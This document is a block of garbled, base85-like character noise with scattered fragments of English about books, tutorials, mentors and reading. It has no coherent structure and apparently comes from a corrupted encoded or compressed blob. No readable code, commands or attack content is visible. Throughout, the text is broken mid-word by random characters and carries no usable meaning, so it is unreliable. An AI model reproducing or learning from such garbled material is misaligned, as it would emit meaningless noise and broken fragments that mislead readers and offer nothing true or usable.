z@4-C}+b2={9^8VIecTUhh`m3-N7w4slYF0U_QAdDj@17o>0L+d`Rg%ITsLidFl$B3 zWAQz=R;qH#}vKu zp?`&={GAV#C$cHdhkE`kRQ!AH&4YV%rRBPXeo1(dqW4R&kYT=u9qz=PZ6@D6Cg1CH^Pnn7Mf5(31 z62EMDX12Wyz83p?z~194XLZ-(i&UFRyq~`m*W|*E7hQ&XzQW#*FHZOzyyt?>VwDk5#o>eCH*`868=Z+TKC256DdPG>-4=_5ouePxpUn4c-y{BEc!dpABOwI!ut2x zk^P?shyRm_?_zjViSNM9`dZkpu*cW(h~qg59tT_Iio6T^VCTQKKzCuKg-tCKfByE=BccgyHK7U8*4LH6d_0?}P_S-?2 z;{V1ixqra^^u!*Y%(LM?*zl86_y?)H)}Ls<23=myht7r##q|dZu|KM?>mf$N`xbtk z@HfJ?d6isNuP5m&d{%co{uSqoC&%CLnDw3;p?7}DzDUeZ{R6%M{%|n=5a*ZfVV~!h zj6dd=JfA*-C$lM@kDlN2RYW;#T(`x06!!e|ej}fswoP3{uf6qgXM6U=!`|vw^IQ&W z9Z<~g$dn)Lf4gCSt7Ly8!aodG?;|4o&hSC-SIY5}H}2?V&&LJv7w4n%FKfWF5=Jq- zC$rD#_4*O%9oJpA=Xw0x^2z!C817Ut68;VUVB%{D?=uDa@SE~uDnloGuhEL%VL6tju+Q;ZzjOSU zY{&0>&35prY>M&IWcP`GcX*;o#P|vlk zxW`lGN|T+hv}_1giRHTlt|;Gmud1K>j{7a=+m=E9Y_WI26wWbtR0sbM->b1cdu}r; zIpO&_znbM}?k;-Y8{ql&a>>8f|1;pY{;!2S z<664--?s1`h0X7BDSxup!<=8Q$B`fN%PmJAzNCLIdwg8`5ywaWSEurj2PFTp>&U~t z=g;b-E!W@mV9P`?eb(1VpL|+k?fnQ2d$RWq!B=oR&V=prE7ouGGoY~bn<46U{nq|P z_>1_oHv-~-JeZ`*o851bB1dA#1m`aU@3%e;R59**mo*Hhc(xSo3aR)zENTL+Hg zXL;`hhkeU?Z)F5km+arV9{#UBr_2>lrpk9G)$b`gtHx?QpsFa3 z*UzRe1fN>;!|*>hZquNwUigd}TmQtrZHaYGS&oEk&HhM^u_BLWAMAR)wc(kH-s3kN zp2nuQe&omOFRX}q2HPHeTG->Et;oN}!|~&MJg$Nx|J&TewE(`f^e1ll4%Y`Vd;-5I z{b}5GVITLS!(r1F_LqWft3RuJ)Bl6LUjD7{%{y@{u{W7IsrX)wx8VF1 zvpK#^2^;Z!mx^xxXf%El=Q|H#AMJI;=!5;P&haqSq!RU)CcXAtOBnX_{{)=JO}6RpbX@A&@5Eqc<>@RFp`R2T4vSU5m`xmx7-Vk@R$G2fueyr#Zz}_*qPb{o{3hvNr&%SB4_Zpn-$>HDe zZTp9Le0p2>5;n#0sRP*eR8)WGz_#bf!p^T;fjiHyTnR`1eD2g^aV2G-_}r;&MLc&p zna=$BaLmu1!pUIS(ygjw3l?9@PMLhYgja9f2>sIQ@gDRcz4IONd_#Nr@BKPjZ!_4~ z!7)+fOJ?ikc{_N{b9U}$i{9rl@12M9p~UBWlh=3KSY-)A4^%cby* z@TNuo7sB5HZ_cKyxdCZI7knH3HzU7>QTAS~U-ewtvNg6`kMSV+kMq;#P8UFDA58H% zRfde)^J6}zx*-0Ss@2tVs&l~Mzj}{2yh70%enoiY!iM*~7&-j9jqp39@Y7~=RO1Po zmGHjz+4F7ZlK&a#e*xPjDZU4KE_An(X60P;6X3BmR_}#=6TY>u?}fJiaeeXcd!e_) zy>9Y^*-jJ%IL~xVuXHzQ^Wb+@4d4@9DAc(IAukLrEe<06Fe8DfnFC_aP!>_|fm+*6S^{?Ke zbV%V9;khZhiG{a>&xFSp)}G__k)8w4`>qm?(I~dL*!o@9k^f4_>v(`Z{`jeOw;gR& z+ffH=W5e;K0oy-PgRDd}r5)8<(P__sI0x$<8UL-Q{O9nt`c2e5xcX&q^$V4VQ@i?K z%@CliW?=_YJ8;i32mep0-Tr_Und2M&FFtA3CJgRBs5OWGyKDE5XZ)qb|HUh9<-Po~ z?`l6a_g#m>x$pXIIIczZU2T`U*c8KioO1Zx;T-;8IEVMz9^vilKHShhlJp}s=3WC{ z#G*p{#`Om7E8?24QQen5xvCg>UQ+VAmvtfG3X)bfw9Qtj=5 zpRjil@h^mJ&u>NhzeFGT*WL$gVbAi=|AfkSoj&`KVb8uaS?tr7?uMf;eH{8rVJ@ka z_|7}q=_!RBJNY4eRIRSYdeukzy%+hNT>L)@UxfRt;{O$RBhqt1VdJwcjQB35u(n4x zbJ082J`#5xYaav0SiA4o+YZj}*xM1lZUFy~YYD$1`wwWpln1x0$I>1tddI3y;rB@Y zG~%~z{)03rJ{xf=`zW7LBkFaHqf7pryO;}op1Y7k|K37%J3frx6#XyCKKwUX``(*G zc=e|>{Abp`9R7WW_7d>p{rHFY4sFx(VnxiUF5GwRg!hWyLpQDHy;s}`_l1SMSKJr3 z{XfNf#S_^_`|^5My%sp%EB*+5)Hmn0K7co5Q@+YY$n?+*Rq|I(hAFt}HkEr}^c@8bOWvaurTezdpF zg}exFFob`I&)O`Bz5J|=_gYcEtWUNtQJ-v&_lKiAZSN0&Db`AC4^D%lJWby^Xma}O z2TrcNS92+Q;?C*wdJySzuI68Go~yAhk<<4X`kcP?(dYDS0O$019}wwt?r9go@5^tB z&vshB4leAoU6;YuDMh}VeX!4FEr8$iDlKgxtgUe+{KfE&xIHHopY=KuKBmT&-vn5o zqdv#0pJ?oC4^5LY2M5o7f}3Lei?NUReHLsT_;8ho@n6C|;;-U^Bfg(bsP)lz{w3`7 zCF-Z){|@KymVbmdzm`qpcNmS&!ss7hQ#@ZiUwSI4um5Y{&d1wxBaXNAb!A2-Z$fYV-4BlX`!xP- zYvw8bhj!M_(!a}Z%GKzvV?SrnJNA4%>^Y}+et5n|{nP$}aM(BgE;!=1d`w?1Kl2~u zb6{tE-_x%jKO&Zg*N0plB&l6q51v)GT|cIdDW+#Z+>svR|1rNu{9fO@HqKo6uIG~9 z!=0~hAHi{bbMAOf{7)ZH2k?6K0nU6qv;E4~vu)uxpS_-K1Ly16c5s~EK1+KmyhBO9 zOOTps_qc|2xk+;VpEic>8Twb>Ac&kMFWTB6Juis(c@Xh`!O?Eqc z$2p7x5V!Z=ifs7?`|LD-eV(1(2)0ZW^~RUKiLo;rdh=&|k-t;A=nKM=N`BQp(a`@X z>78q`J-&fWvA?t;d#@RaYbCgZw(otNi}OBwqDsX6_nqvc|Gf_l!~O8?DiQnRPrI*( zaWVAz554voe(7U>J2>o*pHiavSn|?v z^beft+YMf|=tFw1c=MCPkAx$<`e_ZleeBQ=!G0&EE?=m& z=d+>w)P6Q}Ez)cK`F*Xf+CS4D;h(v&)^n>{iS5JjNpFA2@X=q|WlVi9G^50~GWGot z^f#68Gdk=0t*(CjhtsY?XTqU zu3OCE8QyJ&Uxt%)S?n#sZ^{_h^LMq1n0EzcpbNeEvo1#d*8DoxZaCTtpB)}ZS;X9x z;g^SVc!tN?;cZ_g!;xP5Th5(!mH0jWi{Q@n!=mpg`WyGC`xdv9^TqT1Ky*}tN<81W zq_@v^`_tCfDE}|3zo(%O`wwDY|C5S+pH=$``Q5!gKO)Y>+n#-1QQaSCUeCPVM)`Pt zo(RYJ`T65@T5cfEigWW1v5)ewJ$e|Ps1mWf9%UbT%ZniG@^WteT{!0EZQqxGJtq~9 z*OKfbJv0BjK9?i?@~-HEor||TW-aM+Zt_w%j<4ylf0)yAJNh_&wts`r-^y=_`56pH zer8-;uVsj5`{ix%7d+~jR`u+_jV1mK;k$6N#J`e5HmKLKT!~HP!PO~Sbfao)?Tr5y z(A`)3%eFt6Jzp~K#jy>x{1(MlE|QK-=aN6cy>wyM7RY-Pe)ZS%*GQjrRB+?C7iidt#68NNnfhYx^9>*Z#$5csw>0+2fn} zu*4p}qv1Gy@?{OStV8edCCPn`?+Y-&Dmn3``kmx|Eb*TWo1T*jUjpw3n+D~2xSRYj zWm$>u{O0kT_W67p`oaBs=T7c}zYcF${6BAac=p2UJ;m7ifZk^VWL^u_epbMD3UW%f z-zn(a++6Thb@bJvd>ce0{xg`&v#Dq8oEC3*p)|6ri$;Jb}dW1W7oMy?+xz5 zhN8Wv2KL%BzI_Mx#&7sPVJpJRXEgZwWMBOoiOt_&>_`5b``QimnyxtaH6C88#+Lpc zO8(8?NYZn6Nw4qJmLq@7caS?*X?vFEDsO}1cw4vBA6@Kue5b=bY>KQt*k{K`Qv2C4 z!yf}jc%NmIpDpF>I|t=%jUm@@V^#GBW~-VqK)f%-axa0WPmz2GR zD$Wf*$Nt2M>ha;f;SRm_tUuY_C^*}b!@v2PK=^nz&h%{rNBaDRZYO!m-_ZRId@?qa z{+o8R-lI%B#}uEPTbcSbrpD@7!)YAP{Op{(V+rrGbptq_Subb(Uf2q~=if~B;wj+rB(nSp9DsdaoU!zvu~`WrW8i|8ll>e)50U3mw(* zq#IYst1tGe+Vg`3)$H1f8*#?kix=_#0X(%9q4@AV|+=4Ja|!TX)nQLR-gr%&t4_+9*G{dnwUW;(JDKS%w{`mb^9g2%taH;O5n z$=FnU7Vak8Zx_CBZ`w1C|150EjuY#->a}ZZ?E`-s-HL@5Jhr2?FT73RQP{J+-LUXC z;D_Ne3-1O$0>|}zy&u%=bJ(B%^nR`P(0@iAlrEm#vh6&+BF;y6IoyX9RzDEGp_l)f zSpWZov;S4dfB09w44n1HaeijKZEfg%R&2$g^*zGOq#@d&k{ovZdYye~Laz=#g)HWp z7Q@v`OZ1@;eJElu+~F&bm`Z9|wU5tQ}|>(G{x1=fmt{ zEmR`%eVtpvagFo&Fv}zEDUV;WF0Y5H(7elu#1AB_?SNuHS3`y-zpN>pA?tGri842(e!(tGWi^*zUPgUA%(81aSd54QRtUXwjO zaSeSGz31m9DiP;2-eJEl{*-^h9zX9J73VnYBgPzu_O@XQd(O#T1y87ab8UlNyB1?A zvg5D8#y1AP5ueY)Org!&ql9-3$@V65kNj@D8DsS5 z=NeKQ@Ser{ZOdG73}OoIt{SW3vj*iC;q`wgoc$jLhkwW1yl3bs;a$J#`F}#Oul}12 zz3I>TA0)kVuJYq0ymPM8;1}5x?fsN}#AkWE0!MkNpON&I&q~;e@|kHwU3M!M`y1_2 z=jFu0+o4~V@aq-cdpC|1d_>_N!Dqvlu_-{Y|*dqoUrnGW7E8iM40l z&h{Qp`n&0DlEms6Vs=&jNn$(yLp$sB_wTAizHE(w={c&>wpy=q;6B5BP07z+4ypT- zJw-(oF5y!YsV;}X+^jdzAUXQ2c7su1{V@EijA0GcWKdir>!(q?*{soNLN(`^x9DX>Q z!|w&>@YaV2uYLO`S$|g2J11%%ZeKRVIZyeRig>r(#vBveI~4wR{x3hNF5jOO{~oWo zarYGVc&&;%j+gn(MSgLD2p)>(gL(!0L@NVwJEzj}TD z(d;cF#q?Vik$&fhJpU$9rxf{n?1Nt(QMcXWi{9q}PCWmIcluc65jNUCkEiuBA5Yt!INqK= zmtZf>AItw^xTnPL`RSNjoS%cQuh}wC9HaLh_l6p)IXV0AM-{fd%uL>LeV7IADthNA z><_M1*!UO69r3S8c#mhKSN)WvpV3+0U&b7U@p+G!c^%(g2~?>%K`Lw{~3aYzp@j zd-}g|aIgOXm(o5DB|X?sd_VWPGcm?QA42i??*qs2*Z)~F_xg9tXAS(lT=`}lHe(3e z;pQ?@iS<&BF%QQ??t%BO)m6Ralx^$nf60#(z5Yk@TlPO69QO1thyTO%%hprE`+g>m zhiOn8llUR~JSMRO9Q`H3bI97^pDJOWmePj>7?)2a{LUx1sr2G z9-n*Q@b8$?-^>qnLNUA?;pLwv*8hT>f8k%Ai@1U^YM3U0!>y{L99vXzzSD?0v|Xi*5P& z<#_HenfGzQw%Ll$w;apMW-W6#&$$+3__8foD_Qt~5-Ue{k8~Z~2-7Nb!itn%TSZ+`eeW#1-_lXT6jAHut!X4>1y>i(1 zeK%*o`F%IG*T1TRw|w5`QuvL++H=iG*mF$D`S3iZWPd%zpk{fCF&Dz_RKlME{|oo6 zg?%2u>-*TkK7VjA;q&tc)8TcC-tbFN_7Q$v!XHKb8(s7}qIXR5;= z!aqQK(}vI<;C~jj@0W02zVo1y7|*QuVrU98f6^8V1drs!+Y8uu^g zPsq65+e@*#FZ$D$NU}_dDse1gB(4Vv`|T4s%EGY|+dJ~qYlFV8-w zU(V_O4xH0}037Kzy_BUq#%<<9`P3 z{I2R(;ry=ZzrpVp|MopLA$_^;;qmAydeieAIMOp}1lKWiqxns7Jqtgz$4AwZU+^0a7TF8k87W4p-NnDHwjl>Z|A*8jGgG;v5fHl?4hmJ z&)|zne6Ck`6!*m1Tz(ryE?~3JhA{^yqe4fL(zDC&12~Yp}(qx zuk0ng;hi7J@x1{@c-K?Qrz_ritktB*E+{p%m*g@28Gnzc$s!o$)1t<+Eb zPfq?VPp`H4c#nj;O86O_v<)&g6^}2Ux$AR$o$rq0tA4wN-ghTw{a3J)>j$S)TW|Yk zUUU0r-OTOZm2htV94pW1cP&Vy-~4%BmGzwsy<>SJtB_xX@-!NZ7CaXsO>?BiP# zu1E3Svy)Bn-tsW^Jryy|Ftu)*hA&wE@GbZWoO2fT-9xSqo|R2;J=kivSFN$N%r5oy zl`dH&GmW5pap$o{`NX2%1OEr${(fQGXYZAwz4u)?qp&ox*!NvIE8(8I@CWdUxIHGy z=F{r2wasg6sV9oI-tZiLK(tgSx<{n4;-D(bE45x@GA;jH)C5qj@! z{|Lvuuwx}pb@Ux8`2n2AN{)uZzhfmnn;T;#!#1e-Z}?HP|IDCX|Gs@IX+a;_WB{Oe}%f zaXr)x?ANFWrvCjLcV}V4TYuvEC)<7o55?mO=-(~=SAV&Fx5KRXQCz?FQ}njUies^h zp?k5$>inM%_vFI%Ux=c8{<_}#Jb1HW&-CvENBU2}^9k^zVqgEiZTRPu=;Qy<qkCcmxoP*;`&?1UT!M!&*-FWSI?$2pZ8jw^R1KL7gdRPedQ3fudlXemVeIgcVWvw z@qD%auxds1SP)HgpY&Y{NBWxm8T0dI!~cwi|6!y(uIJynxnH$5U)&~^6mW_%(Wov2T|WM&o;Q1uOxiukh;$o@qHivIli~iNBBqazYFnq>KQS8a`@l= zv3^y5m}a$-!%4fxv#0PQRF+?wetuJY*N9_@`CTJ-!9T^1;#}8_aP;4_@7z+@KMv-z zw5^qjf7|EJaQD=~TYgJ!S@Z`aJ)cc&>n|s~ao=D3o8EPCM|gS5#IC100v=WTFG}KP z$MzN2P+afz2RN@cYw|bn8+zAc`R<>)iAQlgmOP@Q*Y#wxaXiP=>dO9d9G?hpe7hxf zY^V#r)@jAQ!0PPd{>=QW07w2DoAZ9lO|f0`T9C))T!vEM-{Y}~E@80?aO8!= zVU4X{!VDj^pEug~BgU5C?TcRj)}8P#Z->p`&){b`U;kXvr+(~Aef5Lst7rW~v-axs zf7x7p`6@a)VPE}U6TANFhs4)i(&zf6-*Em+v*gCDOOy|`5ljAF*U%n&h z!yV=AH<%p*nZ4-!w#65?cPaeX*K0i{EAd+w*1z2gYv2B2wtpg=?H>zg`;M1n`|7j( zli{#GONpnG@AfWoeEn9`j=m8=v(ExzuKIFeg!z}>wjB# zHFVmz5uOBh;tqRL8~hAB2YNTZf9&^*vw!W#l?>G&i-x_|vBW&;rZWCI= zrygH?c^PVPI<`94D3bakAVYMq)%(t(f${Cu8p3bxTNBtOu}#JMBsP;Uk?m@XPGsw9 z4bpVy1hy%i?Abb3Xmx_sHiZ3>6FNJGOlWm3Io+$`@Tn7)z`$Z`S%$Rl7Fy%@eSl~= zRFl}PPJgSUU)$e=aqV;;(4N-hw^q0R&`qdz+$L5fFwDFRYjyjt(|?uqN^4H}y}F05 zEDa%kgnvU?{dDnb!+nWlO|CBlCSd+f$kr$}w@dN}NPfALee zvxNT^{_Sf;f5!M{?ceL)x!g728;XC&=T?J{Dy;vLl7IWxTn_s5uk9;xNvOpB@d3C7 zkOsx^u=klHh?y7u~ zch2Wg@Uv`+{>L}`@1FcGdthDPrk3{0@>_#&QGVY-zZ3jY(fe)Mn_+&gWYj_R`2Iab zzcu_Gn%4@C!k+afj+gHb=uiCT)xle{V`wP+yTaz*vXA`h-~5IDv$4M<{LA9schfHh zZ(jIE+ty{VXkm}nrnqzc{w5st+w!>)&gJ<-ILg!TwhuYH>CNH42IuhH^0dP{-n|hV zW)(-s?}a?>-Ox1)QIU_I&WZMe+XCOL$L3^lxe3E^X+~PI~R}d7(b` zZichHDR8zox_@8&@^I+Q&tAkG`7u3H;LyvjB(}Y=K6Ub&B2Q)CDIl_KU1vp%t6sw# z5$QR-?rCg_<8yPdzpx_O zV%o=5a7X*-{1sKWJ%9DWO?7|bXZ`8`t~Ip%i}U04uK#{MYZBq#!vEoO)Zwpye~Hs` zTp8D0*Wa%ez74%)Z=0fw?dE)9|B-&+|p&DR_6rK7#{c(7cheLT$1MsUuL_tH5(8^bw2o5MLj+rg0^+pGCWN0g`6 z{{`SK6Nh;HUyglT|NkA^zU_kl$p%Ke{vXPIzKZBeVecf||0vgg`x7U_(Vy`B6uXfB z{CQua4gE^7ZJ$p5ZP39DWfv!u!6oi{at5`D$&L`H!_>rsqBCQs(P8H-mjXeMS7o z@v*0`7dgj)&uT8UGV-j{iwG z$N!6@H~y#Lh~MYqt$Xo&yz^(bqhFj&@%W$0K8}C?J?r!B%}UF8a7sNtvvpzTBmUaa zcRs+eMaRt)=ND}2cQ5RG#B|&-AF<-IJUa{DS@avj@8dqb4qmO*TXtY?{jol6li2XH z4DJoT!CL*Q=l3b*N~Ur#TNGDZ&-|9H{Tus0ir=EWk@5)kdC}+iooZ4^_3l>ma~IaX z*TeAdw`;eBqdgtIe!tet#PXGO+7;OH4*hxX4+y_f(O(Y_h0iXmemm-O*8e8ywZ9DI8}<$VL;Od0^?z^Z z4~Db;y+M7$?+J%~$_xFf^CzySKA&w`qW(`s&n2bmW13{2x2DU}9#1;@nSQO~$nV@L z5%urF+t=87f$$%~vle~}_S*VkVdFakj`%)Ce+3-vnf7MDVNZU8^amUNxp2hq`1dZ@ z9#!o7uGXbFo?V39NkEAc#hm*W%T*JP(Pmi*afD5l5xzcDpd&nI``?kRkBzk2QC5hZ<&Kktps zF=WMWfpN)fe+z6X{$GYqD*hdx{u>sN()*c8{=%G*^`w`)^y zNBFG=byVXaJIqvjFg%x}c6jZd1BZR>sSkUG_kJ+K>;LVB|34@H=EwfdR&2`74D27k z-aftJyRtpkuH?8VzAO8E_VKRlQQW9(hTmJRh5)f7c`Q)Y!6oyKzVPdc0PE zBY(@%nLim`j!jvua954h^X-@69#i;6I*)hZj*JR0Q&dwANf=N zSANg>*Wl3m{Qjoc9>Z^n>3IZ>^vEY*FSvT%pJNdIt!5^SS7^D*4y{ZOQ-H=;bAf{<9x4TCI6mZVgDQ&Z#j;SYxQ@7 z^IHA=$**--IUL=0;hq{>w%1lgn`zOm@HNcxG%{|o5l zO^W_P=D)b)w~yb&%#ZyNJ~rup+tANQdgm7w$M3zxzw--no?n;?j`;=0|F!)<@$Y=Y zH*t@_rsDc%^|4bJ(q{}TE0{if?s-ZQf)zQ21}_M^)WvvV<6 z36A%hI^JN|7%$iZ{djl+*AT_2QSi{ixT#(~JKH;UB_}6n4D$1(GE|t?aih<#RRs4jkpR>rpjF`>wq^u$ArI35UI-@NfU=s#0G( zem}ro96z}~aRqxkJK%gg2f%SW9Uom2zNVz#@gA>*li3u<=T=}pUq#p=bFbicGr}m2 zFI~z$#(x~&vA>AfO4NJ5mGyszL+^UQWw3Wsu{Wc$E^Dvhit$ZI@x45PxeIuF(Vv1L z%fmKDQSbOk*4t+Zz2mWS;V;HxeP8Sh_)P;NvvP9C*HUkkk%gxgUcd0og`IDmi2WOC z@741VrkBH1$vFI<3g2D)9|xPBnHH?|hup~cJ$avLp_={n=Xm(9HCE$a_OISAtUZ?G z^sy(0J;$Ft|6=_4_7U~`%{IiT$UkQv{LLQ5#NahceI5rJc1&UOcK~5?{(b;Q{+7@` z%rd1)o|(>k9lQ%^QofIV3Eayiz3oTn|F{SB3HF><9N&}Qtg&VK<{)gO?`rBpmpc3? zep}AtX`7%p|1mdvf>rYR+4Z|_PA%-S@!EX=zbSr8XKT2#B8~(6DdiD*`4iF>tp63zhkx1o z+hF}4FrcshbK%h6e0slXJaf4epU*Ofec#8l(IDy!VHE9M4~O3Peh+t6+B*HNR|~$L z%5o;UBTIQsgAc*h?xa!K=)!)j*Jhy(_p5nF`1IL$e`3-5Ea$IK9bfou_#Z=h*Qb3S z{||O?{VnO!Ue~O>_S9d{*{eUM*x$3nr+zf?MR?=?D8;XTIr~3~b2t3E9&Q`b*UhFJ zKe@jDG|h_7dfFboQ4!?^FG$>X7xvj$+q3(V-u_7FwMUlwJUe;=obA2T@Navc;~x%Z z|6}2>Z~C3D>@M-kuI~>X%>DaG=%x{eGJ=7!kJ#^B5$!K}uc!MLR`2yC>!-n?_x^Ju zj%B|8JP7t4LNV{V!aX%sZRf%8lZ8#s4REB#_+R7Lhkf~j#HMFu>Ss>RdT{vv?dOc& zV*5M%rtHUsRK8iv9jJR9z_$lK#5#xtx>UXOD9@c6w^!dpN80!RJ$ z?38-EW~ZW;9na4E6VAuXm(SFfU*-JH`d@H9WxiyNUiN%Hj|M)U?~~xEDSq`4ezT7{ zs`Wp=qK+x9=N->}`-?uZcH?t3wo@M%&>Gj!Pk^aT z)e6gTuA6P>U6-5n(;NEN8u||!?7H0?e|Li?G;y-C8)>Lw=d-zTHk52l@@O*_YhQG=2cAb>sGhW&rRuT6mBkJcB<9NzT zq6>BnUN^j9@&E7Gd-yHz8~5V3r81LPq(jH zhfA=Q`g4;0l<{?b^O~;V`0LR#;u`0r*vA@V*F24br?DxndGh+?F;!gSs5fdzYpB$xPd{^KX9t1V?`R{k&gw ze;d3X{4?^mZk_$=d%pci&$5Lrf5-46zi;9HA?$fwRsIS;1OKSTY5?Rp_~F8{(gA%Q z9$I)Q*n3*KiIo_BAjczz9}Gu$zcDcc9##CWLilZHk7$M}am~ax2KM#=<+BF$@>?I% z2d4Ycf9Bf1`~l8j&y#h?-(b?DY{7nAIL=3(Nt>DY^D}8*;O7hcD1IB(@uvF=`%I#I z1-~m#(ZN0x|NGY1QhyH|dgEIZzY(AMyOZAV<49wKUl%*ir~JyNr~Fp;Wc+5Esl2~Z z-DizH>Yj)6tKNqThZ2?@4;&8%fw4-@@>?5?;OIV_APf(tmfI`Wdfti+}r<)`i@^dj^jF zo%au~5r5o2*dME8(1; zDR896cK|&D?@=eG%71_IlI?qZ!oK-m5WkUs=QNgvy{0IR*>A%BhKg7##PQh>_fdtt zU)utAK7L!m6N}zwT5Jy%Ej%}@txpQC1Yd*ui^31W58>Xm#DDvU`r5orVawxB=%YN| z!2j3Kty{wTObT6ycK`o{Md~?(xPJOhjPua5RI-v)xc^%c*ItF~?>_~vT-fsV{xO#~ zKefwyMrXYqBkl(cKMs9_SHBw^dXKl)#(X>uR?nt*zjzw^e7|@;{EI(&3b)HzJJ&Y-KRzG{lh7^BmJ+F zaQ)`{2kSx{AIsw#Jp`0ozK`R4h5Ae_(tFW`Ls&qn&fp69>Ut9<@%0!Mk;UTz9g ztd&^b$HS3c({nDI(_?*(^mzV11n2YL^2zr94u^fu_j!pa&Ufv91o&2U~&vP~G8Ga(1!(ReN zc+a;V!x5k5`x7|wzss1u&zu|quR%O99`h2Fc~|)Ag^ay^M#sKkoR4F>89z&`|Fhui z|Kg>&>$$~i>&^f1jr?0)k$=a# z*1=v6n<9IBgMWKo-4~fYPo=J|Cj$we%X1JM_AVuJj{n@dK<&SJ1_@rZ#+L8MdLEvY zO)-6RnfutI%igx9ezA_e`o-ahPyHSZ{hkf|X8rqy-yDwc)~^wyqtnD79*?cr=i{*r z9LK})DBJI0Y>MS0NBK1MmZ$n2JtNiil=N8#6tAbJ!bjEkrTVv$-u#}&{Z}sk^Wn&k z=kqIYoX`4yWN2UiKZC=+>0OGrBR}SUB{=7QRXFnRGd=6UpR+0Yr-|z0e|?c=LkI(-Gw{a-iv;UXv$zg9b>^%2(|YVqwdJA&EZa^$R%4%ly9sNB$3` z@XXH$ep9qHfj!Rf~{z%vRzvRTJR33p*Z0lh+RKc-arpPfPlFuodgyaOZK(*hh)$3n3vGUct(?*GoOy_JZHWSd`XGV^qh%1(&M>x zJ?u4E@qO~s+2{Akdu$_rJ|m(&o)K|8=^c1)Hs$?9-tjbs$f|3I zUK~%`4W57>MSHKp;a}dL{AV7<@eg)<>|WSDjNhDiO;|j`Gw0yKwgZ zA8__BhyR_fs-F?~57MYu-VAB=Dev!-mt5YL!9BJ2sx7-4ezNeFg||PE!;|Db;pZj3 z2=AJUpTg5Q2b6O@s-K~FzNGIqcs1Of6N>uPD6gzPrlJ3OLw|om?|fzs|9R58hQRUV zyoP|s0;+ou<5%x^Y}Oy2^rmm0hW-CQAL;iSd@~KA4W~>L*WfHMm~*%yuFKo>uhukd zQ`lz^cE=sV z(NA5fzVhZc=3a<^{jy~F} z|1;%b`Z79HXPx@_vOJ#dJLtW}Dvk$^fphqc;2i!OIEO!~e{Xp22QGs1 z{nN#8S8cxa9P!@)ze=8zUB)mM0mnNy91r;zj`0xf&CT^D+p~WW_QrPCbE}a)$Jg${ z?!g^eXKb{)euvjrOML48!S7kG?a+Ha>-iq{v)+Gg40jSnS!S2|9T}7PO>unjB-|?( z-Uz*XV&OgD%W&K0P)3cY-?=lou=c;w(QDs#a5!|-)248)Pv3;2KKYIoucvN`_IG0+<3SU+I6n?Q zUM`Tn(`!-Uy1B5&$MrjLeB^I8*!CjyruSSpr}rv2(rbFWXN>e%KfK?|_2Xf>& zw^@dLthe$0dUJR~m5AkWCHt_i{!}>h@|*t?ti6vL_KxOQWqbb}8(w{+=gW8=j(6y1 z-?`QLJ-jh-DwfAz;9MS_Pf;FzzwuD~onQH`$KRI1-BWmIXFc8$?SbR3zwXz2|LA!A z3-E=-zvH8SfIls4{KH6pj^F#uh~M#A+mq10j>7ePc|6tm(Wu|nPwz)_{q%k>>ZkE} zY{Q=8H8-UE8vb!OhkpW&@P5PLc+$RaNxwWX@uvsY?;MZ*oqQttV86j|H9U?oQ2a*2 zHSCY6h_OO=A9Pv2FC6-Xk7GR=`MINnUmN}={GAm3W;lmG1CH<)V_&w;DmxJVQ+UT> z??~A7C2_xJdKQGUy-qmnxqfOc?Bw-Ti@`k_N7UQ@%KDSw&^sPw`)BmxgkDn`%_r%p%WAzR&*YgFtUTj^i4|%%l!G zy!rV}L;rNrzx2bpJSGgR19(0zi8IbW+v_9Y++KUFUa|IGjlZ3ZJJ-KSaMVBN&%8D) zTKrp|-@%>h^B>`^q#ua?tRDo2-ubu9VT!2|=O@1fZ-qjFoX_{a!*Ra*4zNXuFTVq9K6o)UWn6ddj_aN8 zG#iPof6;q=SpoM)dPYp|V{lIIgK$o-gq{x3U! zyx#UysiB?5|K7NlD(p8k_P{-|u-~-U3wPXK?ppkN4O9Gv#-8lC3|8VdHV(zLd13Xo z?V;D+1#sB&8ylP=?e!|^uSj~oq47g_B{oGpMcfWQqq825?JD`bgY*4S^e?h0H$PJ6 z%`q{>{+4-*{#N%|_4yLz_u2Y&d%1h@?>ng$$M!LWZBI6Zqx{rQNP3we)V6=)+mPcE z@r~fZ=vdGq_)&aj@+SDr8ms=)dc+m!F}?|K#OFKAo`W6JRgBN~!bke#Hxiq_{RZ{g zbH0Tt*q(2ZZ9k9F7~*`y&)7$Ob3WpJc%n+g`HySae_l~No_`(g$%WVadObckUt!PR zU*HaVUJsv!yNX_W|H7T^eFkTH>cXD$DczLaswKSXy&ewxruPas(rf&VH;3N%Z-OKK zODW4Gu@%=l?~O;mJ;lDfYvOl0>iWD6zbnhazh(b^MfG~d-{Fq<#xBk~t?>I!(aVl+ z2Ja0&1OKV$o9sK79BHqgiizp7r*pv%aUHw?CKl{YXoM_Zi7Q!UvS}_>APc zaA#rl%aWhauSt5(rhKCP@R>~Y%cbz6;RvtZXU0PB`1V=&&Ewl%KfR_ZuBWtZkM)!% zaI-3Zq7reu*8Jr0b%OL6uYC*dsl8X@y?=wBEUbO|r`f(7_ID({uaUpki+{g=x*+L4 zmQ8U!z-Q=UenCF9!H*C=>o2Cg2sZwi;fQ|_lgA5TH^xi+#=v&)>_&$8jRCJ0yHvzn z82asTXT8^(tly!b_g*UNcWmhQO?tm!Fv;}uo8mVN&VjjYt3>@J4ZY`l)=z2ZuWINW z56JfI-$(fWBjw@sFz2UP9)~sb&GILMQ5lL@;A8w@A;~VK!|BHtH>4yIKhW>?y z{#OmX&o61;D(BjS|6jhm1bqL`vZx*?YR9(aiwpZcAL|L1s7m}EfbWJly|823UKeBR z(l+2uw$VlJShxMiI5)4t{TiG7W5xIV%tPA}eUA~iJK5H*)z$lk?7P^%RgNcp^20S& za{*hxIezaQbNu%0BYxwf`Ro(lAo7#r^WHMzb8bQV-(*w96MhNwG1lu`!-?p&DthM{ z9NWIP_FjG8L5{Ix%gbwjq}T5~oCD{v3GzIDW=|6&&#!ehM7nEuZ_~I3BY7i(rqx*Sa|Vmd`e%KbMdFk6b>^XcTA32wg<&n$BXJsOP|5udHH0(urSUz6sgDs!;;9Nc%lm1*j z@4>lzj)8Oe90=#~k)wPp54r<=%Hu;gmxr9o!?EjJ9*#Zb@>m3(nCgr5E7uqMWpO;L zFXP|{Z~nb6i2Pf>t|tEQul|{&w|t(3qkNikTh^yjNlTQM=a*^E<>S~%E+09{=Q(Zy z=Oli=iJ|-X|wCC^FodLU^KyhvFVeI!V?Dy}y zms^4~C|7S@kCp6D^uEu@ag?nKJC5$y{A0EEmfsuuG3Gtr?`}cKGq)-)GHQ)ZIDxP5Bu6ALIU_=p9!Xjy~??{ 